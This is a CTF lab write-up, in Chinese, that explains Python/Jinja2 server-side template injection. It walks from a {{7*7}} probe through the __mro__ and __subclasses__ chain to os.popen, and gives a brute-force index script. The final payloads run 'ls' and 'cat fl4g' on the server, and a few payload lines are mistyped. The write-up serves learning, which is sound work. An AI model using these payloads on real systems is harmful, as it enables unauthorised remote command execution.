Web_python_template_injection(攻防世界进阶)
打开界面判断一下是否是ssti注入?
输入{{7*7}}执行成功得到49,说明存在ssti模板注入
__class__ 返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
先简单的给出ssti的魔术方法,这让我直接想到了反序列化的魔术方法,加油!
每道题的目的和方式简要概括都是,找到父类<type 'object'>
-->寻找子类-->找关于命令执行或者文件操作的模块。
__subclasses__() #获取类的所有子类
__init__ #所有自带带类都包含init方法,便于利用他当跳板来调用globals.
__globals__
function.__globals__ #用去获取function所处空间下可使用的module、方法以及所有变量。
方法是这个方法,难得是调用链
以这道题来举个例
''.__class__#返回str类
''.__class__.__base__ #返回str类的父类
''.__class__.__base__.__subclasses__() #返回str父类basestring的儿子们
当然我们要先找到object类
''.__class__.__mro__#mro是调用链,把类的继承关系想成一棵树,这个方法表示从当前节点到根节点的路径
''.__class__.__mro__[2] #调用object类
''.__class__.__mro__[2].__subclasses__() #返回object的儿子们
需要手动改查找可能调用os模块的类,可以是error,或者print之类的
我这里用print,<class 'site._Printer'>。这里可以写个脚本,来确定<class 'site._Printer'>的下标,输出下标为71
import requests
import re
s=requests.session()
for i in range(100):
url="http://111.200.241.244:59493/{{''.__class__.__mro__[2].__subclasses__()[''+str(i)+'']}}''
response=s.get(url=url)
if re.findall("site._Printer",response.text):
print(i)
break
然后''__.class__.__mro__[2].__subclasses__()[71].__init__.__globals__ #可以查看site.Printer类引用的所有类和模板
''__.class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'] #调用os模块,然后就可以调用函数
''__.class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read() #结果显示fl4g文件就在当前目录
''__.class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()
得到flag
理论部分完成,让我们开始实践,''.__class__ 中的'' 是两个单引号 ' ' ,不然就会报错
查找str的父类
返回str父类basestring的儿子们
然后看看看一下继承关系
调用object类,因为从0开始,str是0,basestring是1,所以object是2
返回object的儿子们
其实在这里,你可以数printer下标是第几个,或者用脚本查一下,脚本在上面给出
既然已经知道了下标是71可以直接运用,#可以查看site.Printer类引用的所有类和模板
#调用os模块,然后就可以调用函数
结果显示fl4g文件就在当前目录,这个操作是读取一下当前目录
看见了fl4g,经验之谈flag就在这里面,直接cat fl4g
讲的应该还算详细,下次遇到了会更详细的!